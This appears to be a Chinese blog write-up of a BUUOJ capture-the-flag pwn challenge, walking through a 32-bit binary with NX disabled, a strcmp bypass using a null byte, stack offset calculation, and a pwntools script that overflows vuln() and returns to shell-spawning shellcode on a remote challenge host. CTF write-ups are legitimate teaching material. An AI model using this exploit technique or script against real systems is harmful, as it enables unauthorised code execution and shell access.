获取中...

-

Just a minute...

buu的一道pwn

基本信息

没有nx保护

1
2
3
4
5
6
7
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=341701ef5091cd200a5fc401bc3a826e3d131086, not stripped

RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

ida查看

运行时有回显,并有地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
./pwn

___ ____
___ __| _ \_ /
/ -_)_ / _// /
\___/__|_| /___|
lemon squeezy


Yippie, lets crash: 0xffc9f23c
Whats your name?
> 111

Welcome 111!

chall函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void *chall()
{
size_t v0; // eax
void *result; // eax
char s; // [esp+Ch] [ebp-40Ch]
_BYTE *v3; // [esp+40Ch] [ebp-Ch]

printf("Yippie, lets crash: %p\n", &s);
printf("Whats your name?\n");
printf("> ");
fgets(&s, 1023, stdin);
v0 = strlen(&s);
v3 = memchr(&s, 10, v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", &s);
result = (void *)strcmp(&s, "crashme");
if ( !result )
result = vuln((unsigned int)&s, 0x400u);
return result;
}

vuln函数

1
2
3
4
5
6
void *__cdecl vuln(char src, size_t n)
{
char dest; // [esp+6h] [ebp-32h]

return memcpy(&dest, &src, n);
}

vuln函数会将数据赋复制到vuln的栈上面,会造成溢出

分析

首先要绕过crashme检测,strlen()遇见’\x00’会截断,memchr比较前十个字符串。没开NX保护,fgets写shellcode写到栈上,泄漏栈地址,然后ret到shellcode就可以了。

思路

读入和溢出不在同一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:080485E4                 push    ebp
.text:080485E5 mov ebp, esp
.text:080485E7 sub esp, 38h
.text:080485EA sub esp, 4
.text:080485ED push [ebp+n] ; n
.text:080485F0 lea eax, [ebp+src]
.text:080485F3 push eax ; src
.text:080485F4 lea eax, [ebp+dest]
.text:080485F7 push eax ; dest
.text:080485F8 call memcpy
.text:080485FD add esp, 10h
.text:08048600 nop
.text:08048601 leave
.text:08048602 retn

在vuln函数下断调试

ebp与crashme距离为:0xffffc998 - 0xffffc982 = 0x16

leave过后,esp = ebp + 4

ebp与esp的距离为:0x4 + 0x16 = 0x1A(26)

判断shellcode的地址


经过计算,得到偏移量0x1C。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#p = process('./pwn')
p = remote ('node3.buuoj.cn','29625')
p.recvuntil('crash: ')
stack_addr = int(p.recv(10),16)s

shellcode = asm(shellcraft.sh())
payload = 'crashme\x00'
payload = payload.ljust(26,'\x00')
payload += p32(stack_addr-0x1c)
payload += shellcode

p.sendline(payload)
p.interactive()
相关文章
评论
分享
  • 网鼎杯部分wp

    pwnboom1分析远程已经打不通了,远程的偏移和本地的偏移不一样,只能复现一下本地的了。 首先看到流程图,代码量很大,有很大的switch语句和嵌套结构,可能是虚拟机或者是解析器。 从下图看出是一个C语言的解析器。 然后看了...

    网鼎杯部分wp
  • 数字中国创新大赛

    又是自闭的一天。。 game这一题是关于python字节码的题目,之前没有了解过,看了几篇关于python字节码的文章,死磕,手工还原。。 python字节码 12345678910111213141516171819202122...

    数字中国创新大赛
  • hitcontraining_uaf

    一道简单的uaf的题目 保护12345Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX...

    hitcontraining_uaf
Please check the parameter of comment in config.yml of hexo-theme-Annie!